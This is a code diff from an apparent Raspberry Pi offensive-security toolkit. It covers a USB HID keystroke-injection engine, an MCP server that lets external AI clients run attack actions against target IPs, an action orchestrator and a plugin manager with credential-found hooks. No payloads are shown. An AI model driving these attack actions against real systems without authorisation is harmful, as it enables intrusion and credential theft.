@@ -64,7 +49,7 @@ _MOUSE_REPORT_DESC = bytes([
|
|||||||
# The boot script that creates RNDIS + HID functions at startup.
|
# The boot script that creates RNDIS + HID functions at startup.
|
||||||
# This replaces /usr/local/bin/usb-gadget.sh
|
# This replaces /usr/local/bin/usb-gadget.sh
|
||||||
_USB_GADGET_SCRIPT = '''#!/bin/bash
|
_USB_GADGET_SCRIPT = '''#!/bin/bash
|
||||||
# usb-gadget.sh — USB composite gadget: RNDIS networking + HID (keyboard/mouse)
|
# usb-gadget.sh - USB composite gadget: RNDIS networking + HID (keyboard/mouse)
|
||||||
# Auto-generated by Bjorn Loki. Do not edit manually.
|
# Auto-generated by Bjorn Loki. Do not edit manually.
|
||||||
|
|
||||||
modprobe libcomposite
|
modprobe libcomposite
|
||||||
@@ -196,7 +181,7 @@ _GADGET_SCRIPT_PATH = "/usr/local/bin/usb-gadget.sh"
|
|||||||
|
|
||||||
|
|
||||||
class LokiEngine:
|
class LokiEngine:
|
||||||
"""HID attack engine — manages script execution and job tracking.
|
"""HID attack engine - manages script execution and job tracking.
|
||||||
|
|
||||||
The USB HID gadget (keyboard + mouse) is set up at boot time by
|
The USB HID gadget (keyboard + mouse) is set up at boot time by
|
||||||
usb-gadget.sh. This engine simply opens /dev/hidg0 and /dev/hidg1.
|
usb-gadget.sh. This engine simply opens /dev/hidg0 and /dev/hidg1.
|
||||||
@@ -242,7 +227,7 @@ class LokiEngine:
|
|||||||
# Check if HID gadget is available (set up at boot)
|
# Check if HID gadget is available (set up at boot)
|
||||||
if not os.path.exists("/dev/hidg0"):
|
if not os.path.exists("/dev/hidg0"):
|
||||||
logger.error(
|
logger.error(
|
||||||
"/dev/hidg0 not found — HID gadget not configured at boot. "
|
"/dev/hidg0 not found - HID gadget not configured at boot. "
|
||||||
"Run install_hid_gadget() from the Loki API and reboot."
|
"Run install_hid_gadget() from the Loki API and reboot."
|
||||||
)
|
)
|
||||||
self._gadget_ready = False
|
self._gadget_ready = False
|
||||||
@@ -287,7 +272,7 @@ class LokiEngine:
|
|||||||
if job["status"] == "running":
|
if job["status"] == "running":
|
||||||
self._jobs.cancel_job(job["id"])
|
self._jobs.cancel_job(job["id"])
|
||||||
|
|
||||||
# Close HID devices (don't remove gadget — it persists)
|
# Close HID devices (don't remove gadget - it persists)
|
||||||
if self._hid:
|
if self._hid:
|
||||||
self._hid.close()
|
self._hid.close()
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
"""
|
"""hid_controller.py - Low-level USB HID controller for Loki.
|
||||||
Low-level USB HID controller for Loki.
|
|
||||||
Writes keyboard and mouse reports to /dev/hidg0 and /dev/hidg1.
|
Writes keyboard and mouse reports to /dev/hidg0 and /dev/hidg1.
|
||||||
"""
|
"""
|
||||||
import os
|
import os
|
||||||
@@ -16,7 +16,7 @@ from loki.layouts import load as load_layout
|
|||||||
logger = Logger(name="loki.hid_controller", level=logging.DEBUG)
|
logger = Logger(name="loki.hid_controller", level=logging.DEBUG)
|
||||||
|
|
||||||
# ── HID Keycodes ──────────────────────────────────────────────
|
# ── HID Keycodes ──────────────────────────────────────────────
|
||||||
# USB HID Usage Tables — Keyboard/Keypad Page (0x07)
|
# USB HID Usage Tables - Keyboard/Keypad Page (0x07)
|
||||||
|
|
||||||
KEY_NONE = 0x00
|
KEY_NONE = 0x00
|
||||||
KEY_A = 0x04
|
KEY_A = 0x04
|
||||||
|
|||||||
@@ -1,17 +1,6 @@
|
|||||||
"""
|
"""hidscript.py - P4wnP1-compatible HIDScript parser and executor.
|
||||||
HIDScript parser and executor for Loki.
|
|
||||||
|
|
||||||
Supports P4wnP1-compatible HIDScript syntax:
|
Pure Python DSL parser supporting type/press/delay, loops, conditionals, and variables.
|
||||||
- Function calls: type("hello"); press("GUI r"); delay(500);
|
|
||||||
- var declarations: var x = 1;
|
|
||||||
- for / while loops
|
|
||||||
- if / else conditionals
|
|
||||||
- // and /* */ comments
|
|
||||||
- String concatenation with +
|
|
||||||
- Basic arithmetic (+, -, *, /)
|
|
||||||
- console.log() for job output
|
|
||||||
|
|
||||||
Zero external dependencies — pure Python DSL parser.
|
|
||||||
"""
|
"""
|
||||||
import re
|
import re
|
||||||
import time
|
import time
|
||||||
@@ -240,7 +229,7 @@ class HIDScriptParser:
|
|||||||
else_body = source[after_else+1:eb_end]
|
else_body = source[after_else+1:eb_end]
|
||||||
next_pos = eb_end + 1
|
next_pos = eb_end + 1
|
||||||
elif source[after_else:after_else+2] == 'if':
|
elif source[after_else:after_else+2] == 'if':
|
||||||
# else if — parse recursively
|
# else if - parse recursively
|
||||||
inner_if, next_pos = self._parse_if(source, after_else)
|
inner_if, next_pos = self._parse_if(source, after_else)
|
||||||
else_body = inner_if # will be a dict, handle in exec
|
else_body = inner_if # will be a dict, handle in exec
|
||||||
else:
|
else:
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
"""
|
"""jobs.py - Loki job manager, tracks HIDScript execution jobs.
|
||||||
Loki job manager — tracks HIDScript execution jobs.
|
|
||||||
Each job runs in its own daemon thread.
|
Each job runs in its own daemon thread.
|
||||||
"""
|
"""
|
||||||
import uuid
|
import uuid
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
"""
|
"""__init__.py - Keyboard layout loader for Loki HID subsystem.
|
||||||
Keyboard layout loader for Loki HID subsystem.
|
|
||||||
Caches loaded layouts in memory.
|
Caches loaded layouts in memory.
|
||||||
"""
|
"""
|
||||||
import json
|
import json
|
||||||
|
|||||||
@@ -1,11 +1,13 @@
|
|||||||
|
"""generate_layouts.py - Generates localized keyboard layout JSON files from a US base layout."""
|
||||||
|
|
||||||
import json
|
import json
|
||||||
import os
|
import os
|
||||||
|
|
||||||
# Chargement de la base US existante
|
# Load the US base layout
|
||||||
with open("us.json", "r") as f:
|
with open("us.json", "r") as f:
|
||||||
US_BASE = json.load(f)
|
US_BASE = json.load(f)
|
||||||
|
|
||||||
# Définition des différences par rapport au clavier US
|
# Key differences from the US layout
|
||||||
# 0 = Normal, 2 = Shift, 64 = AltGr (Right Alt)
|
# 0 = Normal, 2 = Shift, 64 = AltGr (Right Alt)
|
||||||
LAYOUT_DIFFS = {
|
LAYOUT_DIFFS = {
|
||||||
"fr": {
|
"fr": {
|
||||||
@@ -59,20 +61,18 @@ LAYOUT_DIFFS = {
|
|||||||
"б": [0, 54], "ю": [0, 55], "ё": [0, 53], ".": [0, 56], ",": [2, 56],
|
"б": [0, 54], "ю": [0, 55], "ё": [0, 53], ".": [0, 56], ",": [2, 56],
|
||||||
"№": [2, 32], ";": [2, 33], ":": [2, 35], "?": [2, 36]
|
"№": [2, 32], ";": [2, 33], ":": [2, 35], "?": [2, 36]
|
||||||
},
|
},
|
||||||
"zh": {} # ZH utilise exactement le layout US
|
"zh": {} # ZH uses the exact US layout
|
||||||
}
|
}
|
||||||
|
|
||||||
def generate_layouts():
|
def generate_layouts():
|
||||||
for lang, diff in LAYOUT_DIFFS.items():
|
for lang, diff in LAYOUT_DIFFS.items():
|
||||||
# Copie de la base US
|
|
||||||
new_layout = dict(US_BASE)
|
new_layout = dict(US_BASE)
|
||||||
# Application des modifications
|
|
||||||
new_layout.update(diff)
|
new_layout.update(diff)
|
||||||
|
|
||||||
filename = f"{lang}.json"
|
filename = f"{lang}.json"
|
||||||
with open(filename, "w", encoding="utf-8") as f:
|
with open(filename, "w", encoding="utf-8") as f:
|
||||||
json.dump(new_layout, f, indent=4, ensure_ascii=False)
|
json.dump(new_layout, f, indent=4, ensure_ascii=False)
|
||||||
print(f"Généré : {filename} ({len(new_layout)} touches)")
|
print(f"Generated: {filename} ({len(new_layout)} keys)")
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
generate_layouts()
|
generate_layouts()
|
||||||
@@ -1,11 +1,4 @@
|
|||||||
# mcp_server.py
|
"""mcp_server.py - MCP server exposing Bjorn's DB and actions to external AI clients."""
|
||||||
# Model Context Protocol server for Bjorn.
|
|
||||||
# Exposes Bjorn's database and actions as MCP tools consumable by any MCP client
|
|
||||||
# (Claude Desktop, custom agents, etc.).
|
|
||||||
#
|
|
||||||
# Transport: HTTP SSE (default, port configurable) or stdio.
|
|
||||||
# Requires: pip install mcp
|
|
||||||
# Gracefully no-ops if mcp is not installed.
|
|
||||||
|
|
||||||
import json
|
import json
|
||||||
import threading
|
import threading
|
||||||
@@ -162,9 +155,12 @@ def _impl_run_action(action_name: str, target_ip: str, target_mac: str = "") ->
|
|||||||
def _impl_query_db(sql: str, params: Optional[List] = None) -> str:
|
def _impl_query_db(sql: str, params: Optional[List] = None) -> str:
|
||||||
"""Run a read-only SELECT query. Non-SELECT statements are rejected."""
|
"""Run a read-only SELECT query. Non-SELECT statements are rejected."""
|
||||||
try:
|
try:
|
||||||
stripped = sql.strip().upper()
|
stripped = sql.strip()
|
||||||
if not stripped.startswith("SELECT"):
|
# Reject non-SELECT and stacked queries (multiple statements)
|
||||||
|
if not stripped.upper().startswith("SELECT"):
|
||||||
return json.dumps({"error": "Only SELECT queries are allowed."})
|
return json.dumps({"error": "Only SELECT queries are allowed."})
|
||||||
|
if ';' in stripped.rstrip(';'):
|
||||||
|
return json.dumps({"error": "Multiple statements are not allowed."})
|
||||||
rows = _sd().db.query(sql, tuple(params or []))
|
rows = _sd().db.query(sql, tuple(params or []))
|
||||||
return json.dumps([dict(r) for r in rows] if rows else [], default=str)
|
return json.dumps([dict(r) for r in rows] if rows else [], default=str)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
@@ -180,7 +176,7 @@ def _build_mcp_server():
|
|||||||
try:
|
try:
|
||||||
from mcp.server.fastmcp import FastMCP
|
from mcp.server.fastmcp import FastMCP
|
||||||
except ImportError:
|
except ImportError:
|
||||||
logger.warning("mcp package not installed — MCP server disabled. "
|
logger.warning("mcp package not installed - MCP server disabled. "
|
||||||
"Run: pip install mcp")
|
"Run: pip install mcp")
|
||||||
return None
|
return None
|
||||||
|
|
||||||
@@ -295,7 +291,7 @@ def start(block: bool = False) -> bool:
|
|||||||
mcp.run(transport="stdio")
|
mcp.run(transport="stdio")
|
||||||
else:
|
else:
|
||||||
logger.info(f"MCP server starting (HTTP SSE transport, port {port})")
|
logger.info(f"MCP server starting (HTTP SSE transport, port {port})")
|
||||||
# FastMCP HTTP SSE — runs uvicorn internally
|
# FastMCP HTTP SSE - runs uvicorn internally
|
||||||
mcp.run(transport="sse", port=port)
|
mcp.run(transport="sse", port=port)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"MCP server error: {e}")
|
logger.error(f"MCP server error: {e}")
|
||||||
@@ -311,10 +307,10 @@ def start(block: bool = False) -> bool:
|
|||||||
|
|
||||||
|
|
||||||
def stop() -> None:
|
def stop() -> None:
|
||||||
"""Signal MCP server to stop (best-effort — FastMCP handles cleanup)."""
|
"""Signal MCP server to stop (best-effort - FastMCP handles cleanup)."""
|
||||||
global _server_thread
|
global _server_thread
|
||||||
if _server_thread and _server_thread.is_alive():
|
if _server_thread and _server_thread.is_alive():
|
||||||
logger.info("MCP server thread stopping (daemon — will exit with process)")
|
logger.info("MCP server thread stopping (daemon - will exit with process)")
|
||||||
_server_thread = None
|
_server_thread = None
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
# orchestrator.py
|
"""orchestrator.py - Action queue consumer: pulls scheduled actions and executes them."""
|
||||||
# Action queue consumer for Bjorn - executes actions from the scheduler queue
|
|
||||||
|
|
||||||
import importlib
|
import importlib
|
||||||
import time
|
import time
|
||||||
@@ -156,7 +155,26 @@ class Orchestrator:
|
|||||||
module_name = action["b_module"]
|
module_name = action["b_module"]
|
||||||
b_class = action["b_class"]
|
b_class = action["b_class"]
|
||||||
|
|
||||||
# 🔴 Skip disabled actions
|
# Skip custom user scripts (manual-only, not part of the orchestrator loop)
|
||||||
|
if action.get("b_action") == "custom" or module_name.startswith("custom/"):
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Plugin actions — loaded via plugin_manager, not importlib
|
||||||
|
if action.get("b_action") == "plugin" or module_name.startswith("plugins/"):
|
||||||
|
try:
|
||||||
|
mgr = getattr(self.shared_data, 'plugin_manager', None)
|
||||||
|
if mgr and b_class in mgr._instances:
|
||||||
|
instance = mgr._instances[b_class]
|
||||||
|
instance.action_name = b_class
|
||||||
|
instance.port = action.get("b_port")
|
||||||
|
instance.b_parent_action = action.get("b_parent")
|
||||||
|
self.actions[b_class] = instance
|
||||||
|
logger.info(f"Loaded plugin action: {b_class}")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Failed to load plugin action {b_class}: {e}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Skip disabled actions
|
||||||
if not int(action.get("b_enabled", 1)):
|
if not int(action.get("b_enabled", 1)):
|
||||||
logger.info(f"Skipping disabled action: {b_class}")
|
logger.info(f"Skipping disabled action: {b_class}")
|
||||||
continue
|
continue
|
||||||
@@ -523,7 +541,7 @@ class Orchestrator:
|
|||||||
ip = queued_action['ip']
|
ip = queued_action['ip']
|
||||||
port = queued_action['port']
|
port = queued_action['port']
|
||||||
|
|
||||||
# Parse metadata once — used throughout this function
|
# Parse metadata once - used throughout this function
|
||||||
metadata = json.loads(queued_action.get('metadata', '{}'))
|
metadata = json.loads(queued_action.get('metadata', '{}'))
|
||||||
source = str(metadata.get('decision_method', 'unknown'))
|
source = str(metadata.get('decision_method', 'unknown'))
|
||||||
source_label = f"[{source.upper()}]" if source != 'unknown' else ""
|
source_label = f"[{source.upper()}]" if source != 'unknown' else ""
|
||||||
@@ -691,6 +709,13 @@ class Orchestrator:
|
|||||||
except Exception as cb_err:
|
except Exception as cb_err:
|
||||||
logger.debug(f"Circuit breaker update skipped: {cb_err}")
|
logger.debug(f"Circuit breaker update skipped: {cb_err}")
|
||||||
|
|
||||||
|
# Notify script scheduler for conditional triggers
|
||||||
|
if self.shared_data.script_scheduler:
|
||||||
|
try:
|
||||||
|
self.shared_data.script_scheduler.notify_action_complete(action_name, mac, success)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"Error executing action {action_name}: {e}")
|
logger.error(f"Error executing action {action_name}: {e}")
|
||||||
self.shared_data.db.update_queue_status(queue_id, 'failed', str(e))
|
self.shared_data.db.update_queue_status(queue_id, 'failed', str(e))
|
||||||
@@ -744,7 +769,7 @@ class Orchestrator:
|
|||||||
'port': port,
|
'port': port,
|
||||||
'action': action_name,
|
'action': action_name,
|
||||||
'queue_id': queue_id,
|
'queue_id': queue_id,
|
||||||
# metadata already parsed — no second json.loads
|
# metadata already parsed - no second json.loads
|
||||||
'metadata': metadata,
|
'metadata': metadata,
|
||||||
# Tag decision source so the training pipeline can weight
|
# Tag decision source so the training pipeline can weight
|
||||||
# human choices (MANUAL would be logged if orchestrator
|
# human choices (MANUAL would be logged if orchestrator
|
||||||
@@ -782,6 +807,19 @@ class Orchestrator:
|
|||||||
elif self.feature_logger and state_before:
|
elif self.feature_logger and state_before:
|
||||||
logger.debug(f"Feature logging disabled for {action_name} (excluded from AI learning)")
|
logger.debug(f"Feature logging disabled for {action_name} (excluded from AI learning)")
|
||||||
|
|
||||||
|
# Dispatch plugin hooks
|
||||||
|
try:
|
||||||
|
mgr = getattr(self.shared_data, 'plugin_manager', None)
|
||||||
|
if mgr:
|
||||||
|
mgr.dispatch(
|
||||||
|
"on_action_complete",
|
||||||
|
action_name=action_name,
|
||||||
|
success=success,
|
||||||
|
target={"mac": mac, "ip": ip, "port": port},
|
||||||
|
)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
return success
|
return success
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
@@ -839,8 +877,10 @@ class Orchestrator:
|
|||||||
logger.debug(f"Queue empty, idling... ({idle_time}s)")
|
logger.debug(f"Queue empty, idling... ({idle_time}s)")
|
||||||
|
|
||||||
# Event-driven wait (max 5s to check for exit signals)
|
# Event-driven wait (max 5s to check for exit signals)
|
||||||
self.shared_data.queue_event.wait(timeout=5)
|
# Clear before wait to avoid lost-wake race condition:
|
||||||
|
# if set() fires between wait() returning and clear(), the signal is lost.
|
||||||
self.shared_data.queue_event.clear()
|
self.shared_data.queue_event.clear()
|
||||||
|
self.shared_data.queue_event.wait(timeout=5)
|
||||||
|
|
||||||
# Periodically process background tasks (even if busy)
|
# Periodically process background tasks (even if busy)
|
||||||
current_time = time.time()
|
current_time = time.time()
|
||||||
@@ -880,7 +920,7 @@ class Orchestrator:
|
|||||||
|
|
||||||
def _process_background_tasks(self):
|
def _process_background_tasks(self):
|
||||||
"""Run periodic tasks like consolidation, upload retries, and model updates (AI mode only)."""
|
"""Run periodic tasks like consolidation, upload retries, and model updates (AI mode only)."""
|
||||||
# LLM advisor mode — runs regardless of AI mode
|
# LLM advisor mode - runs regardless of AI mode
|
||||||
if self.llm_orchestrator and self.shared_data.config.get("llm_orchestrator_mode") == "advisor":
|
if self.llm_orchestrator and self.shared_data.config.get("llm_orchestrator_mode") == "advisor":
|
||||||
try:
|
try:
|
||||||
self.llm_orchestrator.advise()
|
self.llm_orchestrator.advise()
|
||||||
|
|||||||
682
plugin_manager.py
Normal file
682
plugin_manager.py
Normal file
@@ -0,0 +1,682 @@
|
|||||||
|
"""plugin_manager.py - Plugin discovery, lifecycle, hook dispatch, and config management."""
|
||||||
|
|
||||||
|
import gc
|
||||||
|
import importlib
|
||||||
|
import importlib.util
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import shutil
|
||||||
|
import sys
|
||||||
|
import tempfile
|
||||||
|
import threading
|
||||||
|
import weakref
|
||||||
|
import zipfile
|
||||||
|
from typing import Any, Dict, List, Optional, Set
|
||||||
|
|
||||||
|
from bjorn_plugin import BjornPlugin
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
logger = Logger(name="plugin_manager", level=logging.DEBUG)
|
||||||
|
|
||||||
|
# Supported hooks (must match BjornPlugin method names)
|
||||||
|
KNOWN_HOOKS = frozenset({
|
||||||
|
"on_host_discovered",
|
||||||
|
"on_credential_found",
|
||||||
|
"on_vulnerability_found",
|
||||||
|
"on_action_complete",
|
||||||
|
"on_scan_complete",
|
||||||
|
})
|
||||||
|
|
||||||
|
# Required fields in plugin.json
|
||||||
|
_REQUIRED_MANIFEST_FIELDS = {"id", "name", "version", "type", "main", "class"}
|
||||||
|
|
||||||
|
# Valid plugin types
|
||||||
|
_VALID_TYPES = {"action", "notifier", "enricher", "exporter", "ui_widget"}
|
||||||
|
|
||||||
|
# Max loaded plugins (RAM safety on Pi Zero 2)
|
||||||
|
_MAX_PLUGINS = 30
|
||||||
|
|
||||||
|
# Max error entries to retain (prevents unbounded growth)
|
||||||
|
_MAX_ERRORS = 50
|
||||||
|
|
||||||
|
|
||||||
|
class PluginManager:
|
||||||
|
"""Manages plugin discovery, lifecycle, hook dispatch, and configuration."""
|
||||||
|
|
||||||
|
def __init__(self, shared_data):
|
||||||
|
self.shared_data = shared_data
|
||||||
|
self.plugins_dir = getattr(shared_data, 'plugins_dir', None)
|
||||||
|
if not self.plugins_dir:
|
||||||
|
self.plugins_dir = os.path.join(shared_data.current_dir, 'plugins')
|
||||||
|
os.makedirs(self.plugins_dir, exist_ok=True)
|
||||||
|
|
||||||
|
self._instances: Dict[str, BjornPlugin] = {} # plugin_id -> instance
|
||||||
|
self._meta: Dict[str, dict] = {} # plugin_id -> parsed plugin.json
|
||||||
|
self._hook_map: Dict[str, Set[str]] = {h: set() for h in KNOWN_HOOKS} # sets, not lists
|
||||||
|
self._lock = threading.Lock()
|
||||||
|
self._errors: Dict[str, str] = {} # plugin_id -> error message (bounded)
|
||||||
|
|
||||||
|
# Track original DB methods for clean unhook
|
||||||
|
self._original_db_methods: Dict[str, Any] = {}
|
||||||
|
|
||||||
|
# ── Discovery ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def discover_plugins(self) -> List[dict]:
|
||||||
|
"""Scan plugins_dir, parse each plugin.json, return list of valid metadata dicts."""
|
||||||
|
results = []
|
||||||
|
if not os.path.isdir(self.plugins_dir):
|
||||||
|
return results
|
||||||
|
|
||||||
|
for entry in os.listdir(self.plugins_dir):
|
||||||
|
plugin_dir = os.path.join(self.plugins_dir, entry)
|
||||||
|
if not os.path.isdir(plugin_dir):
|
||||||
|
continue
|
||||||
|
|
||||||
|
manifest_path = os.path.join(plugin_dir, "plugin.json")
|
||||||
|
if not os.path.isfile(manifest_path):
|
||||||
|
logger.debug(f"Skipping {entry}: no plugin.json")
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open(manifest_path, "r", encoding="utf-8") as f:
|
||||||
|
meta = json.load(f)
|
||||||
|
except Exception as e:
|
||||||
|
logger.warning(f"Invalid plugin.json in {entry}: {e}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Validate required fields
|
||||||
|
missing = _REQUIRED_MANIFEST_FIELDS - set(meta.keys())
|
||||||
|
if missing:
|
||||||
|
logger.warning(f"Plugin {entry} missing fields: {missing}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
if meta["type"] not in _VALID_TYPES:
|
||||||
|
logger.warning(f"Plugin {entry} has invalid type: {meta['type']}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Ensure main file exists
|
||||||
|
main_path = os.path.join(plugin_dir, meta["main"])
|
||||||
|
if not os.path.isfile(main_path):
|
||||||
|
logger.warning(f"Plugin {entry}: main file {meta['main']} not found")
|
||||||
|
continue
|
||||||
|
|
||||||
|
meta["_dir"] = plugin_dir
|
||||||
|
meta["_main_path"] = main_path
|
||||||
|
results.append(meta)
|
||||||
|
|
||||||
|
logger.info(f"Discovered {len(results)} plugin(s)")
|
||||||
|
return results
|
||||||
|
|
||||||
|
# ── Loading ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def load_plugin(self, plugin_id: str) -> bool:
|
||||||
|
"""Load a single plugin: import module, instantiate class, call setup()."""
|
||||||
|
# Quick check under lock (no I/O here)
|
||||||
|
with self._lock:
|
||||||
|
if plugin_id in self._instances:
|
||||||
|
logger.debug(f"Plugin {plugin_id} already loaded")
|
||||||
|
return True
|
||||||
|
|
||||||
|
if len(self._instances) >= _MAX_PLUGINS:
|
||||||
|
logger.warning(f"Max plugins reached ({_MAX_PLUGINS}), cannot load {plugin_id}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Read manifest OUTSIDE the lock (I/O)
|
||||||
|
plugin_dir = os.path.join(self.plugins_dir, plugin_id)
|
||||||
|
manifest_path = os.path.join(plugin_dir, "plugin.json")
|
||||||
|
if not os.path.isfile(manifest_path):
|
||||||
|
self._set_error(plugin_id, "plugin.json not found")
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open(manifest_path, "r", encoding="utf-8") as f:
|
||||||
|
meta = json.load(f)
|
||||||
|
except Exception as e:
|
||||||
|
self._set_error(plugin_id, f"Invalid plugin.json: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
meta["_dir"] = plugin_dir
|
||||||
|
meta["_main_path"] = os.path.join(plugin_dir, meta.get("main", ""))
|
||||||
|
|
||||||
|
# Load config from DB (merged with schema defaults)
|
||||||
|
config = self._get_merged_config(plugin_id, meta)
|
||||||
|
|
||||||
|
# Import module from file (OUTSIDE the lock — slow I/O)
|
||||||
|
mod_name = f"bjorn_plugin_{plugin_id}"
|
||||||
|
try:
|
||||||
|
main_path = meta["_main_path"]
|
||||||
|
spec = importlib.util.spec_from_file_location(mod_name, main_path)
|
||||||
|
if spec is None or spec.loader is None:
|
||||||
|
self._set_error(plugin_id, f"Cannot create module spec for {main_path}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
mod = importlib.util.module_from_spec(spec)
|
||||||
|
spec.loader.exec_module(mod)
|
||||||
|
|
||||||
|
cls_name = meta.get("class", "")
|
||||||
|
cls = getattr(mod, cls_name, None)
|
||||||
|
if cls is None:
|
||||||
|
self._set_error(plugin_id, f"Class {cls_name} not found in {meta['main']}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Instantiate
|
||||||
|
instance = cls(self.shared_data, meta, config)
|
||||||
|
|
||||||
|
# Call setup
|
||||||
|
instance.setup()
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self._set_error(plugin_id, f"Load failed: {e}")
|
||||||
|
logger.error(f"Failed to load plugin {plugin_id}: {e}")
|
||||||
|
# Clean up module from sys.modules on failure
|
||||||
|
sys.modules.pop(mod_name, None)
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Register UNDER the lock (fast, no I/O)
|
||||||
|
with self._lock:
|
||||||
|
self._instances[plugin_id] = instance
|
||||||
|
self._meta[plugin_id] = meta
|
||||||
|
self._errors.pop(plugin_id, None)
|
||||||
|
|
||||||
|
# Register hooks (set — no duplicates possible)
|
||||||
|
declared_hooks = meta.get("hooks", [])
|
||||||
|
for hook_name in declared_hooks:
|
||||||
|
if hook_name in KNOWN_HOOKS:
|
||||||
|
self._hook_map[hook_name].add(plugin_id)
|
||||||
|
|
||||||
|
# Persist hooks to DB (outside lock)
|
||||||
|
try:
|
||||||
|
valid_hooks = [h for h in declared_hooks if h in KNOWN_HOOKS]
|
||||||
|
self.shared_data.db.set_plugin_hooks(plugin_id, valid_hooks)
|
||||||
|
except Exception as e:
|
||||||
|
logger.debug(f"Could not persist hooks for {plugin_id}: {e}")
|
||||||
|
|
||||||
|
logger.info(f"Plugin loaded: {plugin_id} (type={meta.get('type')})")
|
||||||
|
return True
|
||||||
|
|
||||||
|
def unload_plugin(self, plugin_id: str) -> None:
|
||||||
|
"""Call teardown() and remove from instances/hooks. Cleans up module from sys.modules."""
|
||||||
|
with self._lock:
|
||||||
|
instance = self._instances.pop(plugin_id, None)
|
||||||
|
self._meta.pop(plugin_id, None)
|
||||||
|
|
||||||
|
# Remove from all hook sets
|
||||||
|
for hook_set in self._hook_map.values():
|
||||||
|
hook_set.discard(plugin_id)
|
||||||
|
|
||||||
|
if instance:
|
||||||
|
try:
|
||||||
|
instance.teardown()
|
||||||
|
except Exception as e:
|
||||||
|
logger.warning(f"Teardown error for {plugin_id}: {e}")
|
||||||
|
# Break references to help GC
|
||||||
|
instance.shared_data = None
|
||||||
|
instance.db = None
|
||||||
|
instance.config = None
|
||||||
|
instance.meta = None
|
||||||
|
|
||||||
|
# Remove module from sys.modules to free bytecode memory
|
||||||
|
mod_name = f"bjorn_plugin_{plugin_id}"
|
||||||
|
sys.modules.pop(mod_name, None)
|
||||||
|
|
||||||
|
logger.info(f"Plugin unloaded: {plugin_id}")
|
||||||
|
|
||||||
|
def load_all(self) -> None:
|
||||||
|
"""Load all enabled plugins. Called at startup."""
|
||||||
|
discovered = self.discover_plugins()
|
||||||
|
|
||||||
|
for meta in discovered:
|
||||||
|
plugin_id = meta["id"]
|
||||||
|
|
||||||
|
# Ensure DB record exists with defaults
|
||||||
|
db_record = self.shared_data.db.get_plugin_config(plugin_id)
|
||||||
|
if db_record is None:
|
||||||
|
# First time: insert with schema defaults
|
||||||
|
default_config = self._extract_defaults(meta)
|
||||||
|
self.shared_data.db.upsert_plugin(plugin_id, 1, default_config, meta)
|
||||||
|
db_record = self.shared_data.db.get_plugin_config(plugin_id)
|
||||||
|
|
||||||
|
# Only load if enabled
|
||||||
|
if db_record and db_record.get("enabled", 1):
|
||||||
|
self.load_plugin(plugin_id)
|
||||||
|
else:
|
||||||
|
logger.debug(f"Plugin {plugin_id} is disabled, skipping load")
|
||||||
|
|
||||||
|
def stop_all(self) -> None:
|
||||||
|
"""Teardown all loaded plugins. Called at shutdown."""
|
||||||
|
with self._lock:
|
||||||
|
plugin_ids = list(self._instances.keys())
|
||||||
|
|
||||||
|
for pid in plugin_ids:
|
||||||
|
self.unload_plugin(pid)
|
||||||
|
|
||||||
|
# Restore original DB methods (remove monkey-patches)
|
||||||
|
self._uninstall_db_hooks()
|
||||||
|
|
||||||
|
# Clear all references
|
||||||
|
self._errors.clear()
|
||||||
|
self._meta.clear()
|
||||||
|
|
||||||
|
gc.collect()
|
||||||
|
logger.info("All plugins stopped")
|
||||||
|
|
||||||
|
# ── Hook Dispatch ────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def dispatch(self, hook_name: str, **kwargs) -> None:
|
||||||
|
"""
|
||||||
|
Fire a hook to all subscribed plugins.
|
||||||
|
Synchronous, catches exceptions per-plugin to isolate failures.
|
||||||
|
"""
|
||||||
|
if hook_name not in KNOWN_HOOKS:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Copy subscriber set under lock (fast), then call outside lock
|
||||||
|
with self._lock:
|
||||||
|
subscribers = list(self._hook_map.get(hook_name, set()))
|
||||||
|
|
||||||
|
for plugin_id in subscribers:
|
||||||
|
instance = self._instances.get(plugin_id)
|
||||||
|
if instance is None:
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
method = getattr(instance, hook_name, None)
|
||||||
|
if method:
|
||||||
|
method(**kwargs)
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"Hook {hook_name} failed in plugin {plugin_id}: {e}")
|
||||||
|
|
||||||
|
# ── DB Hook Wrappers ─────────────────────────────────────────────
|
||||||
|
|
||||||
|
def install_db_hooks(self) -> None:
|
||||||
|
"""
|
||||||
|
Monkey-patch DB facade methods to dispatch hooks on data mutations.
|
||||||
|
Uses weakref to avoid reference cycles between PluginManager and DB.
|
||||||
|
"""
|
||||||
|
db = self.shared_data.db
|
||||||
|
manager_ref = weakref.ref(self)
|
||||||
|
|
||||||
|
# Wrap insert_cred
|
||||||
|
if hasattr(db, 'insert_cred'):
|
